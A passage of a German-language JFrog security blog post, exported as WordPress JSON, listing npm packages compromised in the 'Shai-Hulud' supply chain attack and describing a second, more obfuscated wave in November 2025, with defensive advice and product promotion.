\/>\ncapacitor-plugin-vonage@1.0.3<br \/>\ncapacitorandroidpermissions@0.0.4<br \/>\ncapacitorandroidpermissions@0.0.5<br \/>\nconfig-cordova@0.8.5<br \/>\ncordova-plugin-voxeet2@1.0.24<br \/>\ncordova-voxeet@1.0.32<br \/>\ncreate-hest-app@0.1.9<br \/>\ndb-evo@1.1.4<br \/>\ndb-evo@1.1.5<br \/>\ndevextreme-angular-rpk@21.2.8<br \/>\ndevextreme-rpk@21.2.8<br \/>\nember-browser-services@5.0.2<br \/>\nember-browser-services@5.0.3<br \/>\nember-headless-form@1.1.2<br \/>\nember-headless-form@1.1.3<br \/>\nember-headless-form-yup@1.0.1<br \/>\nember-headless-table@2.1.5<br \/>\nember-headless-table@2.1.6<br \/>\nember-url-hash-polyfill@1.0.12<br \/>\nember-url-hash-polyfill@1.0.13<br \/>\nember-velcro@2.2.1<br \/>\nember-velcro@2.2.2<br \/>\nencounter-playground@0.0.2<br \/>\nencounter-playground@0.0.3<br \/>\nencounter-playground@0.0.4<br \/>\neslint-config-crowdstrike@11.0.2<br \/>\neslint-config-crowdstrike@11.0.3<br \/>\neslint-config-crowdstrike-node@4.0.3<br \/>\neslint-config-crowdstrike-node@4.0.4<br \/>\neslint-config-teselagen@6.1.7<br \/>\neslint-config-teselagen@6.1.8<br \/>\nglobalize-rpk@1.7.4<br \/>\ngraphql-sequelize-teselagen@5.3.8<br \/>\ngraphql-sequelize-teselagen@5.3.9<br \/>\nhtml-to-base64-image@1.0.2<br \/>\njson-rules-engine-simplified@0.2.1<br \/>\njson-rules-engine-simplified@0.2.2<br \/>\njson-rules-engine-simplified@0.2.3<br \/>\njson-rules-engine-simplified@0.2.4<br \/>\njumpgate@0.0.2<br \/>\nkoa2-swagger-ui@5.11.1<br \/>\nkoa2-swagger-ui@5.11.2<br \/>\nmcfly-semantic-release@1.3.1<br \/>\nmcp-knowledge-base@0.0.2<br \/>\nmcp-knowledge-graph@1.2.1<br \/>\nmobioffice-cli@1.0.3<br \/>\nmonorepo-next@13.0.1<br \/>\nmonorepo-next@13.0.2<br \/>\nmstate-angular@0.4.4<br \/>\nmstate-cli@0.4.7<br \/>\nmstate-dev-react@1.1.1<br \/>\nmstate-react@1.6.5<br \/>\nng-imports-checker@0.0.10<br \/>\nng-imports-checker@0.0.9<br \/>\nng2-file-upload@7.0.2<br \/>\nng2-file-upload@8.0.1<br \/>\nng2-file-upload@8.0.2<br \/>\nng2-file-upload@8.0.3<br \/>\nng2-file-upload@9.0.1<br \/>\nngx-bootstrap@18.1.4<br \/>\nngx-bootstrap@19.0.3<br \/>\nngx-bootstrap@19.0.4<br \/>\nngx-bootstrap@20.0.3<br \/>\nngx-bootstrap@20.0.4<br \/>\nngx-bootstrap@20.0.5<br \/>\nngx-bootstrap@20.0.6<br \/>\nngx-color@10.0.1<br \/>\nngx-toastr@19.0.1<br \/>\nngx-ws@1.1.5<br \/>\nngx-ws@1.1.6<br \/>\noradm-to-gql@35.0.14<br \/>\noradm-to-gql@35.0.15<br \/>\noradm-to-sqlz@1.1.2<br \/>\noradm-to-sqlz@1.1.3<br \/>\noradm-to-sqlz@1.1.4<br \/>\noradm-to-sqlz@1.1.5<br \/>\nove-auto-annotate@0.0.10<br \/>\nove-auto-annotate@0.0.9<br \/>\npm2-gelf-json@1.0.4<br \/>\npm2-gelf-json@1.0.5<br \/>\nprintjs-rpk@1.6.1<br \/>\nreact-complaint-image@0.0.32<br \/>\nreact-complaint-image@0.0.33<br \/>\nreact-complaint-image@0.0.34<br \/>\nreact-jsonschema-form-conditionals@0.3.18<br \/>\nreact-jsonschema-form-conditionals@0.3.19<br \/>\nreact-jsonschema-form-conditionals@0.3.20<br \/>\nreact-jsonschema-form-extras@1.0.1<br \/>\nreact-jsonschema-form-extras@1.0.2<br \/>\nreact-jsonschema-form-extras@1.0.3<br \/>\nreact-jsonschema-rxnt-extras@0.4.6<br \/>\nreact-jsonschema-rxnt-extras@0.4.7<br \/>\nreact-jsonschema-rxnt-extras@0.4.8<br \/>\nreact-jsonschema-rxnt-extras@0.4.9<br \/>\nremark-preset-lint-crowdstrike@4.0.1<br \/>\nremark-preset-lint-crowdstrike@4.0.2<br \/>\nrxnt-authentication@0.0.3<br \/>\nrxnt-authentication@0.0.4<br \/>\nrxnt-authentication@0.0.5<br \/>\nrxnt-healthchecks-nestjs@1.0.2<br \/>\nrxnt-healthchecks-nestjs@1.0.3<br \/>\nrxnt-healthchecks-nestjs@1.0.4<br \/>\nrxnt-kue@1.0.4<br \/>\nrxnt-kue@1.0.5<br \/>\nrxnt-kue@1.0.6<br \/>\nswc-plugin-component-annotate@1.9.1<br \/>\ntbssnch@1.0.2<br \/>\nteselagen-interval-tree@1.1.2<br \/>\ntg-client-query-builder@2.14.4<br \/>\ntg-client-query-builder@2.14.5<br \/>\ntg-redbird@1.3.1<br \/>\ntg-redbird@1.3.2<br \/>\ntg-seq-gen@1.0.10<br \/>\ntg-seq-gen@1.0.9<br \/>\nthangved-react-grid@1.0.3<br \/>\nts-gaussian@3.0.5<br \/>\nts-imports@1.0.1<br \/>\nts-imports@1.0.2<br \/>\ntvi-cli@0.1.5<br \/>\nve-bamreader@0.2.6<br \/>\nve-bamreader@0.2.7<br \/>\nve-editor@1.0.1<br \/>\nve-editor@1.0.2<br \/>\nverror-extra@6.0.1<br \/>\nvoip-callkit@1.0.2<br \/>\nvoip-callkit@1.0.3<br \/>\nwdio-web-reporter@0.1.3<br \/>\nyargs-help-output@5.0.3<br \/>\nyoo-styles@6.0.326<\/p>\n<h2>November 2025: Die zweite Welle<\/h2>\n<p>Der \u201eShai-Hulud\u201c Software Supply Chain Attack hat sich als anhaltende Bedrohung und nicht als einmaliger Vorfall erwiesen. Nur 10 Wochen nach der ersten Kampagne im September best\u00e4tigt JFrog Security Research die Entdeckung einer zweiten, deutlich komplexeren Angriffswelle. Auch wenn das Volumen der kompromittierten Packages (796 neue Malicious Packages) geringer ist als bei der ersten Welle (\u00fcber 1.150), deutet die gestiegene Raffinesse auf einen dedizierten Threat Actor hin, der seine Strategien gezielt weiterentwickelt. Diese R\u00fcckkehr signalisiert ein tieferliegendes Problem: Das Vertrauen in OSS-Packages wird massiv auf die Probe gestellt, was sie zu einem zentralen Risikofaktor f\u00fcr Developer, DevOps-Teams und Security Professionals macht.<\/p>\n<h3>Weiterentwicklung der Taktiken und Persistenz<\/h3>\n<p>Diese zweite Welle zeigt ein klares Upgrade der Taktiken und best\u00e4tigt die Absicht der Angreifer, die Kampagne fortzusetzen und g\u00e4ngige Code- und Binary-Scanner zu umgehen. Im Gegensatz zum ersten Angriff, der vor allem auf maximales Volumen ausgelegt war, integriert die zweite Welle Obfuscation-Techniken mit modifizierten Payload-Delivery-Mechanismen. Der Akteur experimentiert aktiv mit neuer Infrastruktur, bewegt sich lateral zu neuen Hosting-Diensten und nutzt komplexe Command-and-Control (C2) Flows, die speziell darauf ausgelegt sind, heuristische und verhaltensbasierte Erkennungstools zu umgehen.<\/p>\n<h3>Dringender Handlungsbedarf f\u00fcr Security-Manager<\/h3>\n<p>F\u00fcr CISOs und Security-Verantwortliche bedeutet dies: Das Risiko beschr\u00e4nkt sich nicht mehr nur auf bekannte, sch\u00e4dliche Packages. Es geht um unbekannte, sich evolvierende Bedrohungen, die von aktuellen L\u00f6sungen oft nicht detektiert werden. Dies verfestigt den Status der Kampagne als langfristiges, kontinuierliches operatives Risiko f\u00fcr jedes Unternehmen, das auf Open-Source-Registries angewiesen ist.<\/p>\n<p>Angesichts der persistenten Natur dieses Angriffs m\u00fcssen Unternehmen \u00fcber reaktives Scanning hinausgehen und eine proaktive, plattformzentrierte Security Posture implementieren. Security-Manager und DevOps-Leads sollten umgehend alle aktiven Dependencies auditieren, die seit dem ersten Angriff im September gepullt wurden, und diese mit aktuellen Intelligence-Feeds abgleichen.<\/p>\n<p>Grunds\u00e4tzlich unterstreicht dieser Vorfall die sofortige Notwendigkeit f\u00fcr ein kontinuierliches Supply Chain Monitoring und das Vetting von OSS-Packages. L\u00f6sungen wie JFrog Curation sind essenziell, um Bedrohungen zu blockieren, bevor sie in das Entwicklungs-\u00d6kosystem gelangen. Eine detaillierte technische Analyse der zweiten Welle, einschlie\u00dflich vollst\u00e4ndiger IOC-Listen, finden Sie in unserem kompletten Security Research Report. Dieser laufende Angriff verdeutlicht, wie gesch\u00e4ftskritisch es ist, Security direkt in den Development-Workflow zu integrieren, um sich vor zuk\u00fcnftigen Wellen zu sch\u00fctzen.<\/p>\n<p>Bleiben Sie informiert: Speichern Sie das JFrog Security Research Center in Ihren Lesezeichen und vereinbaren Sie noch heute eine Demo von JFrog Curation, um auf diesen und k\u00fcnftige Angriffe vorbereitet zu sein.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>WICHTIGES UPDATE: Die R\u00fcckkehr von Shai-Hulud (24. November 2025) JFrog \u00fcberwacht, analysiert und dokumentiert fortlaufend eine neue Welle der \u201eShai-Hulud\u201c Software Supply Chain Attack. Nach der ersten Kampagne sind die Threat Actors mit ausgefeilteren Taktiken zur\u00fcckgekehrt und haben weitere 796 neue Malicious Packages in f\u00fchrenden Public Registries kompromittiert. Diese neue Welle unterscheidet sich in wesentlichen &hellip;<\/p>\n","protected":false},"author":370,"featured_media":156600,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[10157,9205],"tags":[10348],"class_list":["post-158527","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sicherheit-und-devsecops","category-unkategorisiert","tag-security-research-de","resource_categories-security-research"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v22.6 (Yoast SEO v22.6) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Shai-Hulud-Angriff \u2013 neue kompromittierte Pakete entdeckt | JFrog<\/title>\n<meta name=\"description\" content=\"Erfahren Sie mehr \u00fcber den anhaltenden Shai-Hulud-npm-Lieferkettenangriff \u2013 inklusive aller derzeit bekannten kompromittierten Pakete.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/158527\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Shai-Hulud npm Lieferkettenangriff \u2013 neue kompromittierte Pakete entdeckt\" \/>\n<meta property=\"og:description\" content=\"Erfahren Sie mehr \u00fcber den anhaltenden Shai-Hulud-npm-Lieferkettenangriff \u2013 inklusive aller derzeit bekannten kompromittierten Pakete.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/\" \/>\n<meta property=\"og:site_name\" content=\"JFrog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/artifrog\" \/>\n<meta property=\"article:published_time\" content=\"2025-09-16T19:03:27+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-12-16T17:09:54+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png\" \/>\n\t<meta property=\"og:image:width\" content=\"203\" \/>\n\t<meta property=\"og:image:height\" content=\"148\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"shacharm\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@jfrog\" \/>\n<meta name=\"twitter:site\" content=\"@jfrog\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"shacharm\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/\"},\"author\":{\"name\":\"shacharm\",\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/person\/f57bde3df1ce2f5bacb9b4bfecec785e\"},\"headline\":\"Shai-Hulud npm Lieferkettenangriff \u2013 neue kompromittierte Pakete entdeckt\",\"datePublished\":\"2025-09-16T19:03:27+00:00\",\"dateModified\":\"2025-12-16T17:09:54+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/\"},\"wordCount\":2020,\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/de\/#organization\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png\",\"keywords\":[\"security-research\"],\"articleSection\":[\"Sicherheit und DevSecOps\",\"Unkategorisiert\"],\"inLanguage\":\"de-DE\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/\",\"url\":\"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/\",\"name\":\"Shai-Hulud-Angriff \u2013 neue kompromittierte Pakete entdeckt | JFrog\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/de\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png\",\"datePublished\":\"2025-09-16T19:03:27+00:00\",\"dateModified\":\"2025-12-16T17:09:54+00:00\",\"description\":\"Erfahren Sie mehr \u00fcber den anhaltenden Shai-Hulud-npm-Lieferkettenangriff \u2013 inklusive aller derzeit bekannten kompromittierten Pakete.\",\"breadcrumb\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#breadcrumb\"},\"inLanguage\":\"de-DE\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"de-DE\",\"@id\":\"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage\",\"url\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png\",\"contentUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png\",\"width\":203,\"height\":148,\"caption\":\"JFrog Cuation vs Shai-Hulud npm attack\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/jfrog.com\/de\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Shai-Hulud npm Lieferkettenangriff \u2013 neue kompromittierte Pakete entdeckt\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/jfrog.com\/de\/#website\",\"url\":\"https:\/\/jfrog.com\/de\/\",\"name\":\"JFrog\",\"description\":\"Deliver Trusted Software Releases at Speed and Scale\",\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/de\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/jfrog.com\/de\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"de-DE\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/jfrog.com\/de\/#organization\",\"name\":\"JFrog\",\"url\":\"https:\/\/jfrog.com\/de\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de-DE\",\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"contentUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"width\":74,\"height\":73,\"caption\":\"JFrog\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/artifrog\",\"https:\/\/x.com\/jfrog\",\"https:\/\/www.linkedin.com\/company\/455737\",\"https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg\",\"https:\/\/www.wikidata.org\/wiki\/Q98608948\"],\"description\":\"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.\",\"legalName\":\"Jfrog, Inc.\",\"numberOfEmployees\":{\"@type\":\"QuantitativeValue\",\"minValue\":\"1001\",\"maxValue\":\"5000\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/person\/f57bde3df1ce2f5bacb9b4bfecec785e\",\"name\":\"shacharm\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de-DE\",\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/2c4d93cf392305aa291c49dcaf6d83e9d6ea82793a22d1b94709131dfff6ac45?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/2c4d93cf392305aa291c49dcaf6d83e9d6ea82793a22d1b94709131dfff6ac45?s=96&d=mm&r=g\",\"caption\":\"shacharm\"}}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Shai-Hulud-Angriff \u2013 neue kompromittierte Pakete entdeckt | JFrog","description":"Erfahren Sie mehr \u00fcber den anhaltenden Shai-Hulud-npm-Lieferkettenangriff \u2013 inklusive aller derzeit bekannten kompromittierten Pakete.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/158527","og_locale":"de_DE","og_type":"article","og_title":"Shai-Hulud npm Lieferkettenangriff \u2013 neue kompromittierte Pakete entdeckt","og_description":"Erfahren Sie mehr \u00fcber den anhaltenden Shai-Hulud-npm-Lieferkettenangriff \u2013 inklusive aller derzeit bekannten kompromittierten Pakete.","og_url":"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/","og_site_name":"JFrog","article_publisher":"https:\/\/www.facebook.com\/artifrog","article_published_time":"2025-09-16T19:03:27+00:00","article_modified_time":"2025-12-16T17:09:54+00:00","og_image":[{"width":203,"height":148,"url":"https:\/\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png","type":"image\/png"}],"author":"shacharm","twitter_card":"summary_large_image","twitter_creator":"@jfrog","twitter_site":"@jfrog","twitter_misc":{"Written by":"shacharm","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#article","isPartOf":{"@id":"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/"},"author":{"name":"shacharm","@id":"https:\/\/jfrog.com\/de\/#\/schema\/person\/f57bde3df1ce2f5bacb9b4bfecec785e"},"headline":"Shai-Hulud npm Lieferkettenangriff \u2013 neue kompromittierte Pakete entdeckt","datePublished":"2025-09-16T19:03:27+00:00","dateModified":"2025-12-16T17:09:54+00:00","mainEntityOfPage":{"@id":"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/"},"wordCount":2020,"publisher":{"@id":"https:\/\/jfrog.com\/de\/#organization"},"image":{"@id":"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage"},"thumbnailUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png","keywords":["security-research"],"articleSection":["Sicherheit und DevSecOps","Unkategorisiert"],"inLanguage":"de-DE"},{"@type":"WebPage","@id":"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/","url":"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/","name":"Shai-Hulud-Angriff \u2013 neue kompromittierte Pakete entdeckt | JFrog","isPartOf":{"@id":"https:\/\/jfrog.com\/de\/#website"},"primaryImageOfPage":{"@id":"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage"},"image":{"@id":"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage"},"thumbnailUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png","datePublished":"2025-09-16T19:03:27+00:00","dateModified":"2025-12-16T17:09:54+00:00","description":"Erfahren Sie mehr \u00fcber den anhaltenden Shai-Hulud-npm-Lieferkettenangriff \u2013 inklusive aller derzeit bekannten kompromittierten Pakete.","breadcrumb":{"@id":"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#breadcrumb"},"inLanguage":"de-DE","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/"]}]},{"@type":"ImageObject","inLanguage":"de-DE","@id":"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage","url":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png","contentUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png","width":203,"height":148,"caption":"JFrog Cuation vs Shai-Hulud npm attack"},{"@type":"BreadcrumbList","@id":"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/jfrog.com\/de\/"},{"@type":"ListItem","position":2,"name":"Shai-Hulud npm Lieferkettenangriff \u2013 neue kompromittierte Pakete entdeckt"}]},{"@type":"WebSite","@id":"https:\/\/jfrog.com\/de\/#website","url":"https:\/\/jfrog.com\/de\/","name":"JFrog","description":"Deliver Trusted Software Releases at Speed and Scale","publisher":{"@id":"https:\/\/jfrog.com\/de\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jfrog.com\/de\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"de-DE"},{"@type":"Organization","@id":"https:\/\/jfrog.com\/de\/#organization","name":"JFrog","url":"https:\/\/jfrog.com\/de\/","logo":{"@type":"ImageObject","inLanguage":"de-DE","@id":"https:\/\/jfrog.com\/de\/#\/schema\/logo\/image\/","url":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","contentUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","width":74,"height":73,"caption":"JFrog"},"image":{"@id":"https:\/\/jfrog.com\/de\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/artifrog","https:\/\/x.com\/jfrog","https:\/\/www.linkedin.com\/company\/455737","https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg","https:\/\/www.wikidata.org\/wiki\/Q98608948"],"description":"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.","legalName":"Jfrog, Inc.","numberOfEmployees":{"@type":"QuantitativeValue","minValue":"1001","maxValue":"5000"}},{"@type":"Person","@id":"https:\/\/jfrog.com\/de\/#\/schema\/person\/f57bde3df1ce2f5bacb9b4bfecec785e","name":"shacharm","image":{"@type":"ImageObject","inLanguage":"de-DE","@id":"https:\/\/jfrog.com\/de\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/2c4d93cf392305aa291c49dcaf6d83e9d6ea82793a22d1b94709131dfff6ac45?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/2c4d93cf392305aa291c49dcaf6d83e9d6ea82793a22d1b94709131dfff6ac45?s=96&d=mm&r=g","caption":"shacharm"}}]}},"_links":{"self":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/158527","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/users\/370"}],"replies":[{"embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/comments?post=158527"}],"version-history":[{"count":6,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/158527\/revisions"}],"predecessor-version":[{"id":158529,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/158527\/revisions\/158529"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/media\/156600"}],"wp:attachment":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/media?parent=158527"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/categories?post=158527"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/tags?post=158527"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}